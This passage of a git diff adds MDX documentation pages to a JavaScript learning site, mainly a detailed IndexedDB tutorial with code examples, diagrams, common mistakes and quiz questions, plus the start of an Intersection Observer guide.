concise, beginner-friendly explanation covering all the key hoisting concepts in under 10 minutes. + </Card> + <Card title="Differences Between Var, Let, and Const — Fireship" icon="video" href="https://www.youtube.com/watch?v=9WIJQDvt4Us"> + Quick, entertaining comparison of variable declarations including hoisting behavior. Perfect for a fast refresher. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/indexeddb.mdx b/docs/beyond/concepts/indexeddb.mdx new file mode 100644 index 00000000..d01b2e0c --- /dev/null +++ b/docs/beyond/concepts/indexeddb.mdx @@ -0,0 +1,1027 @@ +--- +title: "IndexedDB: Client-Side Database Storage in JavaScript" +sidebarTitle: "IndexedDB: Client-Side Database Storage" +description: "Learn IndexedDB for client-side storage in JavaScript. Store structured data, create indexes, perform transactions, and build offline-capable apps." +--- + +What happens when localStorage's 5MB limit isn't enough? How do you store thousands of records, search them efficiently, or keep an app working offline with real data? + +Meet **IndexedDB** — a full database built into every modern browser. Unlike localStorage's simple key-value pairs, IndexedDB lets you store massive amounts of structured data, create indexes for fast lookups, and run transactions that keep your data consistent. + +```javascript +// Store and retrieve complex data with IndexedDB +const request = indexedDB.open('MyApp', 1) + +request.onupgradeneeded = (event) => { + const db = event.target.result + const store = db.createObjectStore('users', { keyPath: 'id' }) + store.createIndex('email', 'email', { unique: true }) +} + +request.onsuccess = (event) => { + const db = event.target.result + const tx = db.transaction('users', 'readwrite') + tx.objectStore('users').add({ id: 1, name: 'Alice', email: 'alice@example.com' }) +} +``` + +IndexedDB is the backbone of offline-first applications, Progressive Web Apps (PWAs), and any app that needs to work without a network connection. It's more complex than localStorage, but far more powerful. + +<Info> +**What you'll learn in this guide:** +- What IndexedDB is and when to use it instead of localStorage +- How to open databases and handle versioning +- Creating object stores and indexes for your data +- Performing CRUD operations within transactions +- Iterating over data with cursors +- Using Promise wrappers for cleaner async code +- Real-world patterns for offline-capable applications +</Info> + +<Warning> +**Prerequisite:** IndexedDB is heavily asynchronous. This guide assumes you're comfortable with [Promises](/concepts/promises) and [async/await](/concepts/async-await). If those concepts are fuzzy, read those guides first! +</Warning> + +--- + +## What is IndexedDB? + +**IndexedDB** is a low-level browser API for storing large amounts of structured data on the client side. It's a transactional, NoSQL database that uses object stores (similar to tables) to organize data, supports indexes for efficient queries, and can store almost any JavaScript value including objects, arrays, files, and blobs. + +Think of IndexedDB as a real database that lives in the browser. While [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) gives you a simple string-only key-value store with ~5MB limit, IndexedDB can store gigabytes of structured data with proper querying capabilities. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ BROWSER STORAGE COMPARISON │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ localStorage IndexedDB │ +│ ───────────── ───────── │ +│ │ +│ ┌─────────────────┐ ┌─────────────────────────────────┐ │ +│ │ key: "user" │ │ Database: "MyApp" │ │ +│ │ value: "{...}" │ │ ┌───────────────────────────┐ │ │ +│ │ │ │ │ Object Store: "users" │ │ │ +│ │ key: "theme" │ │ │ ├─ id: 1, name: "Alice" │ │ │ +│ │ value: "dark" │ │ │ ├─ id: 2, name: "Bob" │ │ │ +│ └─────────────────┘ │ │ └─ (thousands more...) │ │ │ +│ │ │ │ │ │ +│ • ~5MB limit │ │ Indexes: email, role │ │ │ +│ • Strings only │ └───────────────────────────┘ │ │ +│ • Synchronous │ ┌───────────────────────────┐ │ │ +│ • No querying │ │ Object Store: "posts" │ │ │ +│ │ │ ├─ (structured data) │ │ │ +│ │ └───────────────────────────┘ │ │ +│ └─────────────────────────────────┘ │ +│ │ +│ • Gigabytes of storage │ +│ • Any JS value (objects, blobs) │ +│ • Asynchronous │ +│ • Indexed queries │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +<CardGroup cols={2}> + <Card title="IndexedDB API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API"> + The official MDN landing page covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore + </Card> + <Card title="Storage Quotas — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria"> + How browsers allocate storage space and when data gets evicted + </Card> +</CardGroup> + +--- + +## The Filing Cabinet Analogy + +Imagine your browser has a filing cabinet for each website you visit. + +**localStorage** is like a single drawer with sticky notes — quick and simple, but limited. You can only store short text messages, and there's not much room. + +**IndexedDB** is like having an entire filing cabinet system with multiple drawers (object stores), folders within each drawer (indexes), and the ability to store complete documents, photos, or any type of file. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE FILING CABINET ANALOGY │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ DATABASE = Filing Cabinet │ +│ ┌──────────────────────────────────────────────────────────────────┐ │ +│ │ │ │ +│ │ OBJECT STORE = Drawer OBJECT STORE = Drawer │ │ +│ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ +│ │ │ "users" │ │ "products" │ │ │ +│ │ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │ │ +│ │ │ │ Record │ │ │ │ Record │ │ │ │ +│ │ │ │ id: 1 │ │ │ │ sku: "A001" │ │ │ │ +│ │ │ │ name: "Alice" │ │ │ │ name: "Widget"│ │ │ │ +│ │ │ │ email: "..." │ │ │ │ price: 29.99 │ │ │ │ +│ │ │ └───────────────┘ │ │ └───────────────┘ │ │ │ +│ │ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │ │ +│ │ │ │ Record │ │ │ │ Record │ │ │ │ +│ │ │ │ id: 2 │ │ │ │ sku: "B002" │ │ │ │ +│ │ │ │ name: "Bob" │ │ │ │ ... │ │ │ │ +│ │ │ └───────────────┘ │ │ └───────────────┘ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ INDEX: "email" │ │ INDEX: "price" │ │ │ +│ │ │ (sorted labels) │ │ (sorted labels) │ │ │ +│ │ └─────────────────────┘ └─────────────────────┘ │ │ +│ │ │ │ +│ └──────────────────────────────────────────────────────────────────┘ │ +│ │ +│ KEY = The label on each folder (how you find records) │ +│ INDEX = Alphabetical tabs that let you find folders by other fields │ +│ TRANSACTION = Checking out folders (ensures nobody else modifies them) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Just like a real filing system: +- You open the **cabinet** (database) before accessing anything +- You pull out a **drawer** (object store) to work with specific types of records +- You use **labels** (keys) to identify individual folders +- You use **alphabetical tabs** (indexes) to find folders by different criteria +- You **check out** folders (transactions) so no one else modifies them while you're working + +--- + +## Opening a Database + +Before you can store or retrieve data, you need to open a connection to a database. If the database doesn't exist, IndexedDB creates it for you. + +```javascript +// Open (or create) a database named "MyApp" at version 1 +const request = indexedDB.open('MyApp', 1) + +// This fires if the database needs to be created or upgraded +request.onupgradeneeded = (event) => { + const db = event.target.result + console.log('Database created or upgraded!') +} + +// This fires when the database is ready to use +request.onsuccess = (event) => { + const db = event.target.result + console.log('Database opened successfully!') +} + +// This fires if something goes wrong +request.onerror = (event) => { + console.error('Error opening database:', event.target.error) +} +``` + +Notice that IndexedDB uses an **event-based pattern** rather than Promises. The [`indexedDB.open()`](https://developer.mozilla.org/en-US/docs/Web/API/IDBFactory/open) method returns a request object, and you attach event handlers to it. + +### Database Versioning + +The second argument to `open()` is the **version number**. This is how IndexedDB handles schema migrations: + +```javascript +// First time: create the database at version 1 +const request = indexedDB.open('MyApp', 1) + +request.onupgradeneeded = (event) => { + const db = event.target.result + + // Create object stores only in onupgradeneeded + if (!db.objectStoreNames.contains('users')) { + db.createObjectStore('users', { keyPath: 'id' }) + } +} +``` + +When you need to change the schema (add a new store, add an index), you increment the version: + +```javascript +// Later: upgrade to version 2 +const request = indexedDB.open('MyApp', 2) + +request.onupgradeneeded = (event) => { + const db = event.target.result + const oldVersion = event.oldVersion + + // Run migrations based on the old version + if (oldVersion < 1) { + db.createObjectStore('users', { keyPath: 'id' }) + } + if (oldVersion < 2) { + db.createObjectStore('posts', { keyPath: 'id' }) + } +} +``` + +<Warning> +**The Version Rule:** You can only create or modify object stores inside the `onupgradeneeded` event. Trying to create a store elsewhere throws an error. Always increment the version number when you need to change the database structure. +</Warning> + +--- + +## Object Stores and Keys + +An **object store** is like a table in a traditional database. It holds a collection of records, and each record must have a unique key. + +### Creating Object Stores + +You create object stores inside `onupgradeneeded`: + +```javascript +request.onupgradeneeded = (event) => { + const db = event.target.result + + // Option 1: Use a property from the object as the key (keyPath) + const usersStore = db.createObjectStore('users', { keyPath: 'id' }) + // Records must have an 'id' property: { id: 1, name: 'Alice' } + + // Option 2: Auto-generate keys + const logsStore = db.createObjectStore('logs', { autoIncrement: true }) + // Keys are generated automatically: 1, 2, 3, ... + + // Option 3: Both - auto-increment and store the key in the object + const postsStore = db.createObjectStore('posts', { + keyPath: 'id', + autoIncrement: true + }) + // Key is auto-generated AND stored in the 'id' property +} +``` + +### Creating Indexes + +**Indexes** let you query records by fields other than the primary key: + +```javascript +request.onupgradeneeded = (event) => { + const db = event.target.result + const store = db.createObjectStore('users', { keyPath: 'id' }) + + // Create an index on the 'email' field (must be unique) + store.createIndex('email', 'email', { unique: true }) + + // Create an index on 'role' (not unique - many users can share a role) + store.createIndex('role', 'role', { unique: false }) +} +``` + +Later, you can query by these indexes: + +```javascript +// Find a user by email (instead of by id) +const index = store.index('email') +const request = index.get('alice@example.com') +``` + +--- + +## CRUD Operations + +All data operations in IndexedDB happen inside **transactions**. A transaction ensures that a group of operations either all succeed or all fail together. + +### Creating (Add) + +```javascript +function addUser(db, user) { + // 1. Start a transaction in 'readwrite' mode + const tx = db.transaction('users', 'readwrite') + + // 2. Get the object store + const store = tx.objectStore('users') + + // 3. Add the data + const request = store.add(user) + + request.onsuccess = () => { + console.log('User added with id:', request.result) + } + + request.onerror = () => { + console.error('Error adding user:', request.error) + } +} + +// Usage +addUser(db, { id: 1, name: 'Alice', email: 'alice@example.com' }) +``` + +<Tip> +**add() vs put():** Use `add()` when inserting new records. It fails if a record with the same key already exists. Use `put()` when you want to insert OR update. It overwrites existing records. +</Tip> + +### Reading (Get) + +```javascript +function getUser(db, id) { + const tx = db.transaction('users', 'readonly') + const store = tx.objectStore('users') + const request = store.get(id) + + request.onsuccess = () => { + if (request.result) { + console.log('Found user:', request.result) + } else { + console.log('User not found') + } + } +} + +// Get all records +function getAllUsers(db) { + const tx = db.transaction('users', 'readonly') + const store = tx.objectStore('users') + const request = store.getAll() + + request.onsuccess = () => { + console.log('All users:', request.result) // Array of all user objects + } +} +``` + +### Updating (Put) + +```javascript +function updateUser(db, user) { + const tx = db.transaction('users', 'readwrite') + const store = tx.objectStore('users') + + // put() updates if exists, inserts if not + const request = store.put(user) + + request.onsuccess = () => { + console.log('User updated') + } +} + +// Usage - update Alice's email +updateUser(db, { id: 1, name: 'Alice', email: 'alice.new@example.com' }) +``` + +### Deleting + +```javascript +function deleteUser(db, id) { + const tx = db.transaction('users', 'readwrite') + const store = tx.objectStore('users') + const request = store.delete(id) + + request.onsuccess = () => { + console.log('User deleted') + } +} + +// Delete all records +function clearAllUsers(db) { + const tx = db.transaction('users', 'readwrite') + const store = tx.objectStore('users') + store.clear() +} +``` + +--- + +## Understanding Transactions + +Transactions are a critical concept in IndexedDB. They ensure data integrity by grouping operations together. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ TRANSACTION LIFECYCLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. CREATE 2. EXECUTE 3. COMPLETE │ +│ ───────── ───────── ───────── │ +│ │ +│ const tx = db store.add(...) tx.oncomplete │ +│ .transaction( store.put(...) All changes saved! │ +│ 'users', store.delete(...) │ +│ 'readwrite' ↓ tx.onerror │ +│ ) (all or nothing) All changes rolled │ +│ back! │ +│ │ +│ Transaction Modes: │ +│ ───────────────── │ +│ 'readonly' - Only reading data (faster, can run in parallel) │ +│ 'readwrite' - Reading and writing (locks the store) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Transaction Auto-Commit + +Transactions automatically commit when there are no more pending requests: + +```javascript +const tx = db.transaction('users', 'readwrite') +const store = tx.objectStore('users') + +store.add({ id: 1, name: 'Alice' }) +store.add({ id: 2, name: 'Bob' }) + +// Transaction auto-commits after both adds complete +tx.oncomplete = () => { + console.log('Both users saved!') +} +``` + +### The Transaction Timing Trap + +Here's a common mistake. Transactions auto-commit quickly, so you can't do async work in the middle: + +```javascript +// ❌ WRONG - Transaction will close before fetch completes +const tx = db.transaction('users', 'readwrite') +const store = tx.objectStore('users') + +const response = await fetch('/api/user') // Network request +const user = await response.json() +store.add(user) // ERROR: Transaction is no longer active! +``` + +```javascript +// ✓ CORRECT - Fetch first, then use IndexedDB +const response = await fetch('/api/user') +const user = await response.json() + +const tx = db.transaction('users', 'readwrite') +const store = tx.objectStore('users') +store.add(user) // Works! +``` + +<Warning> +**The Auto-Commit Rule:** Transactions close automatically after the current JavaScript "tick" if there are no pending requests. Never put `await` calls to external APIs inside a transaction. Fetch your data first, then write to IndexedDB. +</Warning> + +--- + +## Iterating with Cursors + +When you need to process records one at a time (instead of loading everything into memory), use a **cursor**: + +```javascript +function iterateUsers(db) { + const tx = db.transaction('users', 'readonly') + const store = tx.objectStore('users') + const request = store.openCursor() + + request.onsuccess = (event) => { + const cursor = event.target.result + + if (cursor) { + // Process the current record + console.log('Key:', cursor.key, 'Value:', cursor.value) + + // Move to the next record + cursor.continue() + } else { + // No more records + console.log('Done iterating') + } + } +} +``` + +### Cursor with Key Ranges + +You can limit which records the cursor visits using [`IDBKeyRange`](https://developer.mozilla.org/en-US/docs/Web/API/IDBKeyRange): + +```javascript +function getUsersInRange(db, minId, maxId) { + const tx = db.transaction('users', 'readonly') + const store = tx.objectStore('users') + + // Only iterate over keys between minId and maxId + const range = IDBKeyRange.bound(minId, maxId) + const request = store.openCursor(range) + + request.onsuccess = (event) => { + const cursor = event.target.result + if (cursor) { + console.log(cursor.value) + cursor.continue() + } + } +} + +// Other key range options: +IDBKeyRange.only(5) // Only key === 5 +IDBKeyRange.lowerBound(5) // key >= 5 +IDBKeyRange.upperBound(10) // key <= 10 +IDBKeyRange.bound(5, 10) // 5 <= key <= 10 +IDBKeyRange.bound(5, 10, true, false) // 5 < key <= 10 +``` + +--- + +## Using Promise Wrappers + +The callback-based API can get messy. Most developers use a Promise wrapper library. The most popular is **idb** by Jake Archibald: + +```javascript +// Using the idb library (https://github.com/jakearchibald/idb) +import { openDB } from 'idb' + +async function demo() { + // Open database with Promises + const db = await openDB('MyApp', 1, { + upgrade(db) { + db.createObjectStore('users', { keyPath: 'id' }) + } + }) + + // Add a user + await db.add('users', { id: 1, name: 'Alice' }) + + // Get a user + const user = await db.get('users', 1) + console.log(user) // { id: 1, name: 'Alice' } + + // Get all users + const allUsers = await db.getAll('users') + + // Update + await db.put('users', { id: 1, name: 'Alice Updated' }) + + // Delete + await db.delete('users', 1) +} +``` + +<Tip> +**The idb Advantage:** The idb library (~1.2kB) wraps IndexedDB's event-based API with Promises, making it work beautifully with async/await. It's the recommended way to use IndexedDB in modern applications. +</Tip> + +### Building Your Own Wrapper + +If you prefer not to add a dependency, here's a simple helper pattern: + +```javascript +// Promisify an IDBRequest +function promisifyRequest(request) { + return new Promise((resolve, reject) => { + request.onsuccess = () => resolve(request.result) + request.onerror = () => reject(request.error) + }) +} + +// Promisify opening a database +function openDatabase(name, version, onUpgrade) { + return new Promise((resolve, reject) => { + const request = indexedDB.open(name, version) + request.onupgradeneeded = (event) => onUpgrade(event.target.result) + request.onsuccess = () => resolve(request.result) + request.onerror = () => reject(request.error) + }) +} + +// Usage +async function demo() { + const db = await openDatabase('MyApp', 1, (db) => { + db.createObjectStore('users', { keyPath: 'id' }) + }) + + const tx = db.transaction('users', 'readwrite') + const store = tx.objectStore('users') + + await promisifyRequest(store.add({ id: 1, name: 'Alice' })) + const user = await promisifyRequest(store.get(1)) + console.log(user) +} +``` + +--- + +## IndexedDB vs Other Storage Options + +When should you use IndexedDB instead of other browser storage options? + +| Feature | localStorage | sessionStorage | IndexedDB | Cookies | +|---------|-------------|----------------|-----------|---------| +| **Storage Limit** | ~5MB | ~5MB | Gigabytes | ~4KB | +| **Data Types** | Strings only | Strings only | Any JS value | Strings only | +| **Async** | No (blocks UI) | No (blocks UI) | Yes | No | +| **Queryable** | No | No | Yes (indexes) | No | +| **Transactions** | No | No | Yes | No | +| **Persists** | Until cleared | Until tab closes | Until cleared | Configurable | +| **Accessible from Workers** | No | No | Yes | No | + +### When to Use IndexedDB + +<AccordionGroup> + <Accordion title="Offline-First Applications"> + IndexedDB is the foundation of offline-capable apps. Store data locally so users can work without a network connection, then sync when they're back online. + + ```javascript + // Cache API responses for offline use + async function fetchWithCache(url) { + const db = await openDB('cache', 1) + + // Try to get from cache first + const cached = await db.get('responses', url) + if (cached && !isStale(cached)) { + return cached.data + } + + // Fetch from network + const response = await fetch(url) + const data = await response.json() + + // Store in cache for next time + await db.put('responses', { url, data, timestamp: Date.now() }) + return data + } + ``` + </Accordion> + + <Accordion title="Large Datasets"> + When you have thousands of records that would exceed localStorage's 5MB limit, IndexedDB can handle it. + + ```javascript + // Store a large product catalog locally + async function cacheProductCatalog(products) { + const db = await openDB('shop', 1) + const tx = db.transaction('products', 'readwrite') + + for (const product of products) { + await tx.store.put(product) + } + + await tx.done + console.log(`Cached ${products.length} products`) + } + ``` + </Accordion> + + <Accordion title="Complex Querying Needs"> + When you need to search or filter data by multiple fields, indexes make this efficient. + + ```javascript + // Find all products under $50 + async function getAffordableProducts(db) { + const tx = db.transaction('products', 'readonly') + const index = tx.store.index('price') + const range = IDBKeyRange.upperBound(50) + + return await index.getAll(range) + } + ``` + </Accordion> + + <Accordion title="Storing Files and Blobs"> + Unlike localStorage, IndexedDB can store binary data like images, audio, and files. + + ```javascript + // Store an image blob + async function cacheImage(url) { + const response = await fetch(url) + const blob = await response.blob() + + const db = await openDB('images', 1) + await db.put('images', { url, blob, cached: Date.now() }) + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Real-World Patterns + +### Pattern 1: Sync Queue for Offline Actions + +Store user actions while offline, then sync when back online: + +```javascript +// Queue an action for later sync +async function queueAction(action) { + const db = await openDB('app', 1) + await db.add('syncQueue', { + action, + timestamp: Date.now(), + status: 'pending' + }) +} + +// Sync all pending actions +async function syncPendingActions() { + const db = await openDB('app', 1) + const pending = await db.getAllFromIndex('syncQueue', 'status', 'pending') + + for (const item of pending) { + try { + await fetch('/api/sync', { + method: 'POST', + body: JSON.stringify(item.action) + }) + await db.delete('syncQueue', item.id) + } catch (error) { + console.log('Will retry later:', item.action) + } + } +} + +// Sync when back online +window.addEventListener('online', syncPendingActions) +``` + +### Pattern 2: Database Helper Class + +Encapsulate database logic in a reusable class: + +```javascript +class UserDatabase { + constructor() { + this.dbPromise = openDB('users-db', 1, { + upgrade(db) { + const store = db.createObjectStore('users', { keyPath: 'id' }) + store.createIndex('email', 'email', { unique: true }) + } + }) + } + + async add(user) { + const db = await this.dbPromise + return db.add('users', user) + } + + async get(id) { + const db = await this.dbPromise + return db.get('users', id) + } + + async getByEmail(email) { + const db = await this.dbPromise + return db.getFromIndex('users', 'email', email) + } + + async update(user) { + const db = await this.dbPromise + return db.put('users', user) + } + + async delete(id) { + const db = await this.dbPromise + return db.delete('users', id) + } + + async getAll() { + const db = await this.dbPromise + return db.getAll('users') + } +} + +// Usage +const users = new UserDatabase() +await users.add({ id: 1, name: 'Alice', email: 'alice@example.com' }) +const alice = await users.getByEmail('alice@example.com') +``` + +--- + +## Common Mistakes + +### Mistake 1: Forgetting Transaction Mode + +```javascript +// ❌ WRONG - Trying to write with readonly transaction +const tx = db.transaction('users') // defaults to 'readonly' +tx.objectStore('users').add({ id: 1, name: 'Alice' }) // ERROR! + +// ✓ CORRECT - Specify 'readwrite' for write operations +const tx = db.transaction('users', 'readwrite') +tx.objectStore('users').add({ id: 1, name: 'Alice' }) // Works! +``` + +### Mistake 2: Creating Stores Outside onupgradeneeded + +```javascript +// ❌ WRONG - Can't create stores in onsuccess +request.onsuccess = (event) => { + const db = event.target.result + db.createObjectStore('users') // ERROR: Not in version change transaction +} + +// ✓ CORRECT - Create stores in onupgradeneeded +request.onupgradeneeded = (event) => { + const db = event.target.result + db.createObjectStore('users', { keyPath: 'id' }) // Works! +} +``` + +### Mistake 3: Assuming Sync Behavior + +```javascript +// ❌ WRONG - Treating IndexedDB like it's synchronous +const tx = db.transaction('users', 'readwrite') +tx.objectStore('users').add({ id: 1, name: 'Alice' }) +console.log('User saved!') // This runs before the add completes! + +// ✓ CORRECT - Wait for the operation to complete +const tx = db.transaction('users', 'readwrite') +const request = tx.objectStore('users').add({ id: 1, name: 'Alice' }) +request.onsuccess = () => { + console.log('User saved!') // Now it's actually saved +} +``` + +### Mistake 4: Not Handling Blocked Database Opens + +When a database is open in another tab with an older version: + +```javascript +const request = indexedDB.open('MyApp', 2) + +// ✓ Handle the blocked event +request.onblocked = () => { + alert('Please close other tabs with this app to allow the update.') +} + +request.onupgradeneeded = (event) => { + // Upgrade logic +} +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember about IndexedDB:** + +1. **IndexedDB is a full database in the browser** — it stores structured data with support for indexes, transactions, and complex queries, unlike localStorage's simple key-value pairs + +2. **Everything is asynchronous** — IndexedDB uses an event-based API (or Promises with a wrapper) and never blocks the main thread + +3. **Object stores are like tables** — each stores a collection of records identified by a unique key (either from the object's property or auto-generated) + +4. **Indexes enable efficient lookups** — create indexes on fields you want to query by, beyond just the primary key + +5. **All operations happen in transactions** — transactions ensure data integrity by grouping operations that either all succeed or all fail + +6. **Transactions auto-commit quickly** — never do async work (like fetch) inside a transaction; get your data first, then write to IndexedDB + +7. **Use `put()` for upserts, `add()` for inserts only** — `add()` fails if the key exists, `put()` inserts or updates + +8. **Schema changes require version increments** — only `onupgradeneeded` can create or modify object stores; increment the version number to trigger it + +9. **Consider using the idb library** — it wraps IndexedDB with Promises for cleaner async/await code + +10. **IndexedDB is perfect for offline-first apps** — store data locally, work offline, and sync when back online +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: When can you create object stores in IndexedDB?"> + **Answer:** + + Object stores can only be created inside the `onupgradeneeded` event handler, which fires when you open a database with a higher version number than what exists. This is IndexedDB's way of handling schema migrations. + + ```javascript + const request = indexedDB.open('MyApp', 2) // Bump version to trigger upgrade + + request.onupgradeneeded = (event) => { + const db = event.target.result + db.createObjectStore('newStore', { keyPath: 'id' }) // Only works here! + } + ``` + </Accordion> + + <Accordion title="Question 2: What's the difference between add() and put()?"> + **Answer:** + + - `add()` inserts a new record. It **fails with an error** if a record with the same key already exists. + - `put()` inserts a new record OR updates an existing one. It **never fails** due to duplicate keys. + + Use `add()` when you expect the record to be new. Use `put()` when you want "insert or update" (upsert) behavior. + </Accordion> + + <Accordion title="Question 3: Why can't you use await fetch() inside a transaction?"> + **Answer:** + + Transactions auto-commit when there are no pending requests and the JavaScript execution returns to the event loop. A `fetch()` call is an async operation that gives control back to the event loop, causing the transaction to commit before your network request completes. + + ```javascript + // ❌ Transaction closes during fetch + const tx = db.transaction('users', 'readwrite') + const data = await fetch('/api/user') // Transaction closes here! + tx.objectStore('users').add(data) // ERROR: Transaction inactive + + // ✓ Fetch first, then use IndexedDB + const data = await fetch('/api/user') + const tx = db.transaction('users', 'readwrite') + tx.objectStore('users').add(data) // Works! + ``` + </Accordion> + + <Accordion title="Question 4: What are indexes used for?"> + **Answer:** + + Indexes let you query records by fields other than the primary key. Without an index, you'd have to iterate through every record to find matches. With an index, lookups are fast. + + ```javascript + // Create an index on the 'email' field + store.createIndex('email', 'email', { unique: true }) + + // Later, query by email instead of primary key + const index = store.index('email') + const user = await index.get('alice@example.com') + ``` + </Accordion> + + <Accordion title="Question 5: When should you use IndexedDB instead of localStorage?"> + **Answer:** + + Use IndexedDB when you need: + - **More than 5MB** of storage + - **Structured data** with relationships + - **Querying capabilities** (search by different fields) + - **To store non-string data** (objects, arrays, blobs, files) + - **Offline-first functionality** with complex data + - **Access from Web Workers** + + Use localStorage for simple key-value pairs like user preferences or small settings. + </Accordion> + + <Accordion title="Question 6: What does 'readonly' vs 'readwrite' transaction mode do?"> + **Answer:** + + - `readonly`: You can only read data. Multiple readonly transactions can run in parallel on the same store. + - `readwrite`: You can read and write. Only one readwrite transaction can access a store at a time (it "locks" the store). + + Always use `readonly` when you're just reading data. It's faster and doesn't block other transactions. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="localStorage & sessionStorage" icon="hard-drive" href="/beyond/concepts/localstorage-sessionstorage"> + Simpler key-value storage for smaller data. Understand when to use each option. + </Card> + <Card title="Promises" icon="handshake" href="/concepts/promises"> + IndexedDB's callback API is easier with Promises. Essential for using idb and other wrappers. + </Card> + <Card title="async/await" icon="clock" href="/concepts/async-await"> + Write cleaner IndexedDB code with async/await syntax and Promise wrappers. + </Card> + <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> + IndexedDB works in Web Workers, enabling background data processing. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="IndexedDB API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API"> + Official MDN documentation covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore + </Card> + <Card title="Using IndexedDB — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB"> + Comprehensive step-by-step tutorial covering the full IndexedDB workflow from opening databases to transactions + </Card> + <Card title="IDBObjectStore — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore"> + Detailed reference for the object store interface including all CRUD methods like add(), put(), get(), and delete() + </Card> + <Card title="Browser Compatibility — Can I Use" icon="browser" href="https://caniuse.com/indexeddb"> + Real-time browser support data showing 96%+ global coverage for IndexedDB features + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="IndexedDB Tutorial — javascript.info" icon="newspaper" href="https://javascript.info/indexeddb"> + The most thorough tutorial covering versioning, object stores, transactions, cursors, and promise wrappers. Includes a working demo app with complete source code. + </Card> + <Card title="Work with IndexedDB — web.dev" icon="newspaper" href="https://web.dev/articles/indexeddb"> + Google's official guide using the idb library with modern async/await syntax. Perfect for developers who want to skip the callback-based native API. + </Card> + <Card title="idb: IndexedDB with Promises" icon="newspaper" href="https://github.com/jakearchibald/idb"> + The definitive promise wrapper for IndexedDB (~1.2kB) created by Chrome engineer Jake Archibald. Makes IndexedDB feel like working with modern JavaScript. + </Card> + <Card title="IndexedDB Key Terminology — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology"> + Explains core concepts like key paths, key generators, transactions, and the structured clone algorithm. Required reading before diving into the API. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="IndexedDB Tutorial for Beginners — dcode" icon="video" href="https://www.youtube.com/watch?v=g4U5WRzHitM"> + Clear step-by-step walkthrough of IndexedDB fundamentals including creating databases, stores, and performing CRUD operations. Great for visual learners. + </Card> + <Card title="IndexedDB Crash Course — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=vb7fkBeblcw"> + Brad Traversy's practical tutorial building a complete app with IndexedDB. Covers transactions, cursors, and real-world patterns in under 30 minutes. + </Card> + <Card title="Client-Side Storage Explained — Fireship" icon="video" href="https://www.youtube.com/watch?v=JR9wsVYp8RQ"> + Fast-paced comparison of localStorage, sessionStorage, IndexedDB, and cookies. Helps you understand when to use each storage option. + </Card> + <Card title="Building Offline-First Apps — Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=cmGr0RszHc8"> + Conference talk on using IndexedDB with Service Workers for offline-capable PWAs. Essential context for understanding IndexedDB's primary use case. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/intersection-observer.mdx b/docs/beyond/concepts/intersection-observer.mdx new file mode 100644 index 00000000..ab5c7d5d --- /dev/null +++ b/docs/beyond/concepts/intersection-observer.mdx @@ -0,0 +1,1041 @@ +--- +title: "Intersection Observer in JavaScript" +sidebarTitle: "Intersection Observer" +description: "Learn the Intersection Observer API in JavaScript. Detect element visibility, implement lazy loading, infinite scroll, and scroll animations efficiently without scroll events." +--- + +How do you know when an element scrolls into view? How can you lazy-load images only when they're about to be seen? How do infinite-scroll feeds know when to load more content? And how can you trigger animations at just the right moment as users scroll through your page? + +```javascript +// Lazy load images when they come into view +const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + const img = entry.target; + img.src = img.dataset.src; + observer.unobserve(img); + } + }); +}); + +document.querySelectorAll('img[data-src]').forEach(img => observer.observe(img)); +``` + +The **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or the viewport. It's the modern, performant solution for detecting element visibility, replacing expensive scroll event listeners with browser-optimized callbacks. + +<Info> +**What you'll learn in this guide:** +- What Intersection Observer is and why it's better than scroll events +- How to create and configure observers with options +- Understanding thresholds, root, and rootMargin +- Implementing lazy loading for images and content +- Building infinite scroll functionality +- Creating scroll-triggered animations +- Common mistakes and best practices +</Info> + +--- + +## What is Intersection Observer in JavaScript? + +The **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** is a browser API that lets you detect when an element enters, exits, or crosses a certain visibility threshold within a viewport or container element. Instead of constantly checking element positions during scroll events, the browser efficiently notifies your code only when visibility actually changes. **In short: Intersection Observer tells you when elements become visible or hidden, without the performance cost of scroll listeners.** + +--- + +## Why Not Just Use Scroll Events? + +Before Intersection Observer, developers used scroll event listeners with 